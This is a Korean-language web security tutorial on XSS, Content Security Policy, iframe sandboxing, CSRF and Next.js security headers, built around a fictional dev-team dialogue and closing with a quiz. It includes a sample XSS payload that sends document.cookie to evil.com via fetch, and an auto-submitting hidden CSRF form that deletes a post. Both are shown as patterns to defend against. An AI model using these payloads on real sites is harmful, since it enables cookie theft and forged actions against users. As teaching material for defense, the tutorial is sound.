๐Ÿ” 03. HTML ๋ณด์•ˆ ๊ธฐ์ดˆ: ๋‚ด๊ฐ€ ๋งŒ๋“  ํผ์ด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๊ฐ€ ๋œ๋‹ค๋ฉด

2026๋…„ 3์›” 5์ผ ์ˆ˜์ •๋จ

๐Ÿ“‹ ๊ฐœ์š”

XSS, CSRF, Content Security Policy, iframe sandbox, sri โ€” HTML ์ˆ˜์ค€์—์„œ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ ๊ณผ ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ์‹ค์ „ ์˜ˆ์‹œ๋กœ ๋‹ค๋ฃน๋‹ˆ๋‹ค.

๐Ÿ“Œ ์ด ๋ฌธ์„œ๋ฅผ ์ฝ๊ธฐ ์ „์—

โฑ๏ธ ์˜ˆ์ƒ ์ฝ๊ธฐ ์‹œ๊ฐ„: 20๋ถ„ / ํ•ต์‹ฌ ํŒŒํŠธ๋งŒ: 12๋ถ„

๐ŸŽฏ ์ด ๋ฌธ์„œ์˜ ์œ„์น˜

HTML guide 04๋ฒˆ(form/input)๊ณผ 03๋ฒˆ(head/meta/SEO)์„ ๋จผ์ € ์ฝ์–ด๋ณด์„ธ์š”.

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ํ๋ฆ„

[XSS ๊ณต๊ฒฉ๊ณผ ๋ฐฉ์–ด] โ†’ [CSRF์™€ same-site ์ฟ ํ‚ค] โ†’ [Content Security Policy] โ†’ [iframe sandbox] โ†’ [Next.js ๋ณด์•ˆ ํ—ค๋” ์„ค์ •]

๐ŸŽฏ ์ด ๋ฌธ์„œ๋ฅผ ๋‹ค ์ฝ์œผ๋ฉด ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ

  • XSS ๊ณต๊ฒฉ์ด HTML์—์„œ ์–ด๋–ป๊ฒŒ ๋ฐœ์ƒํ•˜๋Š”์ง€, innerHTML ์‚ฌ์šฉ์˜ ์œ„ํ—˜์„ฑ์„ ์„ค๋ช…ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • CSRF๊ฐ€ ๋ฌด์—‡์ธ์ง€, SameSite ์ฟ ํ‚ค์™€ CSRF ํ† ํฐ์œผ๋กœ ์–ด๋–ป๊ฒŒ ๋ฐฉ์–ดํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • CSP(Content Security Policy) ์˜ ์—ญํ• ๊ณผ ๊ธฐ๋ณธ ์„ค์ •์„ ์ดํ•ดํ•œ๋‹ค.
  • Next.js์—์„œ ๋ณด์•ˆ ํ—ค๋”๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ๋ฐฐ๊ฒฝ ์„ธ๊ณ„๊ด€: '์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ'

  • ๐Ÿฃ ์˜์ฒ  ( ์‹ ์ž… ): "์˜ํ˜ธ ๋‹˜, ์šฐ๋ฆฌ ๊ฒŒ์‹œํŒ์— ๋Œ“๊ธ€์— <script> ํƒœ๊ทธ ๋„ฃ์œผ๋ฉด ์–ด๋–ป๊ฒŒ ๋˜๋‚˜์š”? ์„ค๋งˆ ์‹คํ–‰์ด ๋˜๋Š” ๊ฑด ์•„๋‹ˆ์ฃ ?"
  • ๐Ÿฆ ์˜ํ˜ธ ( ๋ฆฌ๋“œ ): "์˜์ฒ  ๋‹˜, ์ง€๊ธˆ ๋‹น์žฅ ํ…Œ์ŠคํŠธํ•ด๋ด์š”. ๋งŒ์•ฝ <script>alert('XSS')</script> ๋ฅผ ๋Œ“๊ธ€์— ์“ฐ๊ณ  alert ์ฐฝ์ด ๋œจ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๊ทธ ์ž๋ฆฌ์—์„œ ์‚ฌ์šฉ์ž ์ฟ ํ‚ค๋ฅผ ๋นผ๊ฐˆ ์ˆ˜ ์žˆ์–ด์š”. XSS๋Š” HTML ๋ Œ๋”๋ง ๋ ˆ๋ฒจ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๊ณต๊ฒฉ์ด๋ผ ์„œ๋ฒ„ ์–ธ์–ด ์ƒ๊ด€์—†์ด ๋ชจ๋“  ์›น ์•ฑ์ด ๋Œ€์ƒ์ด์—์š”."

๐Ÿšจ 1. XSS (Cross-Site Scripting) โ€” HTML ์ˆ˜์ค€์˜ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ๊ณต๊ฒฉ

XSS๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์ฃผ์ž…ํ•ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด์•ผ.

<!-- โŒ ์ทจ์•ฝํ•œ ํŒจํ„ด: ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ innerHTML์— ์ง์ ‘ ์‚ฝ์ž… -->
<div id="comment-area"></div>
<script>
  // ์‚ฌ์šฉ์ž ๋Œ“๊ธ€์„ ๊ทธ๋Œ€๋กœ innerHTML์— ์‚ฝ์ž…
  const userComment = "<script>document.cookie = 'stolen'; fetch('https://evil.com?c=' + document.cookie)</script>";
  document.getElementById('comment-area').innerHTML = userComment;
  // โ†’ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์–ด ์ฟ ํ‚ค ํƒˆ์ทจ!
</script>

๋ฐฉ์–ด ์ „๋žต:

// โœ… ๋ฐฉ์–ด 1: innerHTML ๋Œ€์‹  textContent ์‚ฌ์šฉ (HTML ํŒŒ์‹ฑ ์—†์ด ํ…์ŠคํŠธ๋กœ๋งŒ ์‚ฝ์ž…)
const userComment = "<script>์•…์„ฑ์ฝ”๋“œ</script>";
document.getElementById('comment-area').textContent = userComment;
// textContent๋Š” HTML ํƒœ๊ทธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฌธ์ž์—ด๋กœ ์ฒ˜๋ฆฌ โ†’ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์•ˆ ๋จ
// โœ… ๋ฐฉ์–ด 2: React๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ XSS ๋ฐฉ์–ด (์ž๋™ ์ด์Šค์ผ€์ดํ”„)
function Comment({ text }: { text: string }) {
  // React JSX๋Š” ์ž๋™์œผ๋กœ ๋ฌธ์ž์—ด์„ ์ด์Šค์ผ€์ดํ”„ โ†’ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๋ถˆ๊ฐ€
  return <div>{text}</div>;
}
 
// โŒ dangerouslySetInnerHTML๋Š” React์˜ XSS ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•จ!
// ๋ฐ˜๋“œ์‹œ ์„œ๋ฒ„์—์„œ sanitize ํ›„ ์‚ฌ์šฉ
function RichContent({ html }: { html: string }) {
  // isomorphic-dompurify ๋“ฑ์œผ๋กœ sanitize ํ›„ ์‚ฌ์šฉ
  return <div dangerouslySetInnerHTML={{ __html: sanitize(html) }} />;
}

๐Ÿ›ก๏ธ 2. Content Security Policy (CSP) โ€” ํ—ˆ์šฉ๋œ ์ถœ์ฒ˜๋งŒ ์‹คํ–‰

CSP๋Š” ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ ์–ด๋–ค ์ถœ์ฒ˜์˜ ์Šคํฌ๋ฆฝํŠธ/์Šคํƒ€์ผ๋งŒ ์‹คํ–‰ํ• ์ง€ ์„ ์–ธํ•˜๋Š” HTTP ํ—ค๋”์•ผ. HTML <meta> ํƒœ๊ทธ๋กœ๋„ ์„ค์ • ๊ฐ€๋Šฅ.

<!-- HTML meta๋กœ CSP ์„ค์ • (HTTP ํ—ค๋” ๋ฐฉ์‹์ด ๋” ๊ถŒ์žฅ๋จ) -->
<meta
  http-equiv="Content-Security-Policy"
  content="
    default-src 'self';
    script-src 'self' https://analytics.example.com;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https://cdn.example.com;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.ysdeveloper.community;
  "
/>

CSP ์ง€์‹œ์–ด ํ•ด์„ค:

  • default-src 'self': ๋™์ผ ์ถœ์ฒ˜๋งŒ ํ—ˆ์šฉ (๊ธฐ๋ณธ๊ฐ’)
  • script-src 'self' https://analytics.example.com: ์ž์ฒด ์„œ๋ฒ„ + ํŠน์ • ๋ถ„์„ ์„œ๋ฒ„์˜ JS๋งŒ ์‹คํ–‰
  • 'unsafe-inline': ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ/์Šคํƒ€์ผ ํ—ˆ์šฉ (XSS ๋ฐฉ์–ด ์•ฝํ™”, ํ”ผํ•˜๋Š” ๊ฒŒ ์ข‹์Œ)

Next.js์—์„œ CSP์™€ ๋ณด์•ˆ ํ—ค๋” ์„ค์ •:

// next.config.js
const securityHeaders = [
  {
    key: "Content-Security-Policy",
    value: [
      "default-src 'self'",
      "script-src 'self' 'nonce-${nonce}'", // nonce ๊ธฐ๋ฐ˜ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ํ—ˆ์šฉ
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' blob: data:",
      "font-src 'self'",
    ].join("; "),
  },
  {
    key: "X-Frame-Options",
    value: "DENY", // ์ด ํŽ˜์ด์ง€๋ฅผ iframe ์•ˆ์— ๋„ฃ์ง€ ๋ชปํ•˜๊ฒŒ (ํด๋ฆญ์žฌํ‚น ๋ฐฉ์–ด)
  },
  {
    key: "X-Content-Type-Options",
    value: "nosniff", // MIME ํƒ€์ž… ์Šค๋‹ˆํ•‘ ๋ฐฉ์ง€
  },
  {
    key: "Referrer-Policy",
    value: "strict-origin-when-cross-origin",
  },
];
 
module.exports = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: securityHeaders,
      },
    ];
  },
};

๐Ÿ–ผ๏ธ 3. iframe sandbox โ€” ์ž„๋ฒ ๋“œ ์ฝ˜ํ…์ธ  ๊ฒฉ๋ฆฌ

์„œ๋“œํŒŒํ‹ฐ ์ฝ˜ํ…์ธ ๋ฅผ <iframe> ์œผ๋กœ ์ž„๋ฒ ๋“œํ•  ๋•Œ sandbox ์†์„ฑ์œผ๋กœ ๊ถŒํ•œ์„ ์ œํ•œํ•ด.

<!-- โŒ sandbox ์—†๋Š” iframe: ์ž„๋ฒ ๋“œ ํŽ˜์ด์ง€๊ฐ€ ๋ถ€๋ชจ ํŽ˜์ด์ง€์— ์ž์œ ๋กญ๊ฒŒ ์ ‘๊ทผ ๊ฐ€๋Šฅ -->
<iframe src="https://external-widget.com"></iframe>
 
<!-- โœ… sandbox๋กœ ๊ถŒํ•œ ์ตœ์†Œํ™” -->
<iframe
  src="https://external-widget.com"
  sandbox="allow-scripts allow-same-origin"
  <!-- allow-scripts: JS ์‹คํ–‰ ํ—ˆ์šฉ (์œ„์ ฏ์ด ๋™์ž‘ํ•ด์•ผ ํ•˜๋ฏ€๋กœ) -->
  <!-- allow-same-origin: ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ… ํ—ˆ์šฉ (ํ•„์š”ํ•œ ๊ฒฝ์šฐ๋งŒ) -->
  <!-- allow-forms: ํผ ์ œ์ถœ ํ—ˆ์šฉ -->
  <!-- allow-popups: ํŒ์—… ํ—ˆ์šฉ -->
  <!-- ๋‚˜๋จธ์ง€ ๊ธฐ๋Šฅ์€ ๋ชจ๋‘ ์ฐจ๋‹จ -->
  loading="lazy"
></iframe>

๐Ÿ”’ 4. CSRF โ€” ์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ์š”์ฒญ ์œ„์กฐ

CSRF(Cross-Site Request Forgery)๋Š” ๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ์ด์šฉํ•ด ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๊ณต๊ฒฉ์ด์•ผ.

<!-- โŒ CSRF ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค: ์•…์„ฑ ์‚ฌ์ดํŠธ์˜ ์ˆจ๊ฒจ์ง„ ํผ -->
<!-- ํ”ผํ•ด์ž๊ฐ€ evil.com ๋ฐฉ๋ฌธ ์‹œ ysdeveloper.community์— ๊ฒŒ์‹œ๊ธ€ ์‚ญ์ œ ์š”์ฒญ์ด ์ž๋™ ๋ฐœ์†ก๋จ -->
<body onload="document.forms[0].submit()">
  <form action="https://ysdeveloper.community/api/posts/1" method="POST">
    <input type="hidden" name="_method" value="DELETE" />
  </form>
</body>

๋ฐฉ์–ด ์ „๋žต:

  1. CSRF ํ† ํฐ: ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜๋ณ„ ๊ณ ์œ  ํ† ํฐ์„ ํผ์— ์‚ฝ์ž…, ์ œ์ถœ ์‹œ ๊ฒ€์ฆ
  2. SameSite ์ฟ ํ‚ค: Set-Cookie: session=abc; SameSite=Strict โ€” ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์‹œ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ
<!-- CSRF ํ† ํฐ์„ hidden input์œผ๋กœ ํผ์— ํฌํ•จ (์„œ๋ฒ„์—์„œ ์ƒ์„ฑ) -->
<form method="POST" action="/api/posts">
  <input type="hidden" name="csrf_token" value="{{ server_generated_token }}" />
  <!-- ... ๋‚˜๋จธ์ง€ ํ•„๋“œ -->
</form>


๐Ÿ“ ๋งˆ๋ฌด๋ฆฌ ํ€ด์ฆˆ

Q1. React์˜ dangerouslySetInnerHTML ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•  ๋•Œ ๋ฐ˜๋“œ์‹œ ํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์€?

โœ… ์ •๋‹ต: DOMPurify ๊ฐ™์€ sanitize ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ HTML ์ •์ œ ํ›„ ์‚ฝ์ž…

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • dangerouslySetInnerHTML ์€ React์˜ ์ž๋™ XSS ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•˜๋ฏ€๋กœ, ์ง์ ‘ ์‚ฝ์ž…ํ•˜๋Š” HTML์ด ์•ˆ์ „ํ•œ์ง€ ์ง์ ‘ ๋ณด์žฅํ•ด์•ผ ํ•ด์š”. isomorphic-dompurify ๋‚˜ DOMPurify ๋กœ <script>, ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์†์„ฑ ๋“ฑ์„ ์ œ๊ฑฐํ•œ ํ›„ ์‚ฌ์šฉํ•ด์š”.

Q2. Content Security Policy์—์„œ script-src 'self' ๋งŒ ์„ค์ •ํ–ˆ์„ ๋•Œ ์ธ๋ผ์ธ <script> ํƒœ๊ทธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ์ด์œ ๋Š”?

โœ… ์ •๋‹ต: CSP์˜ script-src 'self' ๋Š” ๋™์ผ ์ถœ์ฒ˜์˜ ์™ธ๋ถ€ JS ํŒŒ์ผ๋งŒ ํ—ˆ์šฉํ•˜๊ณ , ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ฐจ๋‹จํ•จ (์ธ๋ผ์ธ ํ—ˆ์šฉํ•˜๋ ค๋ฉด 'unsafe-inline' ๋˜๋Š” 'nonce-xxx' ํ•„์š”)

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • CSP๋Š” XSS์˜ ํ•ต์‹ฌ์ธ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ฐจ๋‹จํ•ด์š”. 'unsafe-inline' ์„ ํ—ˆ์šฉํ•˜๋ฉด ํŽธ์˜์„ฑ์€ ๋†’์•„์ง€์ง€๋งŒ ์ธ๋ผ์ธ XSS ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ด์ง€๋ฏ€๋กœ, nonce ๊ธฐ๋ฐ˜ ๋ฐฉ์‹์œผ๋กœ ํŠน์ • ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋งŒ ํ—ˆ์šฉํ•˜๋Š” ๊ฒŒ ๊ถŒ์žฅ์ด์—์š”.

Q3. ์˜์ฒ ์ด์˜ ํ…Œ์ŠคํŠธ ํƒ€์ž„

์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ์— ์™ธ๋ถ€ YouTube ๋™์˜์ƒ์„ <iframe> ์œผ๋กœ ์ž„๋ฒ ๋“œํ•˜๋ ค ํ•œ๋‹ค.
๋ณด์•ˆ์„ ์œ„ํ•ด ์–ด๋–ค ์†์„ฑ์„ ์ถ”๊ฐ€ํ•ด์•ผ ํ•˜๋Š”๊ฐ€?

โœ… ์ •๋‹ต: sandbox="allow-scripts allow-same-origin allow-presentation" ์™€ loading="lazy" ์ถ”๊ฐ€

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • YouTube iframe์—๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ allow-scripts ๋Š” ํ•„์ˆ˜์˜ˆ์š”. allow-same-origin ์€ YouTube๊ฐ€ ์ž์ฒด ์ธ์ฆ์„ ์œ„ํ•ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์–ด์š”. ๋‚˜๋จธ์ง€ ๊ถŒํ•œ(ํŒ์—…, ์–‘์‹ ์ œ์ถœ ๋“ฑ)์€ ์ฐจ๋‹จํ•ด์„œ ์ตœ์†Œ ๊ถŒํ•œ์„ ์ค€์ˆ˜ํ•˜์„ธ์š”.

๐Ÿฃ ์˜์ฒ ์ด์˜ ํ‡ด๊ทผ ์ผ๊ธฐ

์ง„์งœ ์˜ค๋Š˜ ์‹์€๋•€ ๋‚ฌ๋‹ค. ํ…Œ์ŠคํŠธํ•ด๋ณด๋‹ˆ๊นŒ ์šฐ๋ฆฌ ๋Œ“๊ธ€ ์ž…๋ ฅ์ฐฝ์— <script>alert('XSS')</script> ๋„ฃ์œผ๋‹ˆ๊นŒ alert๊ฐ€ ๋–ด๋‹ค. React JSX๋กœ ์ถœ๋ ฅํ•˜๋ฉด ์ž๋™ ์ด์Šค์ผ€์ดํ”„๋˜๋Š”๋ฐ, ์ด์ „์— ๋ˆ„๊ตฐ๊ฐ€ dangerouslySetInnerHTML ๋กœ ์ง  ๋ถ€๋ถ„์ด ์žˆ์—ˆ๋˜ ๊ฑฐ๋‹ค. ์˜ํ˜ธ ๋ฆฌ๋“œ ๋‹˜์ด "์ด PR ์•ˆ ์˜ฌ๋ผ์™”์œผ๋ฉด ๋ณด์•ˆ ์‚ฌ๊ณ  ๋‚ฌ์„ ๊ฑฐ์˜ˆ์š”"๋ผ๊ณ  ํ•˜์…จ์„ ๋•Œ ์ง„์งœ ์•„์ฐ”ํ–ˆ๋‹ค.

๐Ÿ’ก "๋ณด์•ˆ์€ ๊ฐœ๋ฐœ ํŽธ์˜๋ฅผ ์œ„ํ•œ innerHTML, dangerouslySetInnerHTML ๊ฐ™์€ '์œ„ํ—˜ํ•œ ์ง€๋ฆ„๊ธธ'์„ ์“ฐ์ง€ ์•Š๋Š” ์Šต๊ด€์—์„œ ์‹œ์ž‘ํ•œ๋‹ค. React๋ฅผ ์“ด๋‹ค๊ณ  ์ž๋™์œผ๋กœ ์•ˆ์ „ํ•œ ๊ฒŒ ์•„๋‹ˆ๋‹ค."

CSP ์„ค์ •ํ•˜๊ณ  Lighthouse ๋‹ค์‹œ ๋Œ๋ ธ์„ ๋•Œ ๋ณด์•ˆ ์ ์ˆ˜๊ฐ€ ์˜ฌ๋ผ๊ฐ€๋Š” ๊ฑธ ๋ณด๋‹ˆ ๋ฟŒ๋“ฏํ•˜๋‹ค. ๋‹ค์Œ์—” OWASP Top 10 ์ฝ์–ด๋ด์•ผ๊ฒ ๋‹ค.


๐Ÿ”— ๋” ์•Œ์•„๋ณด๊ธฐ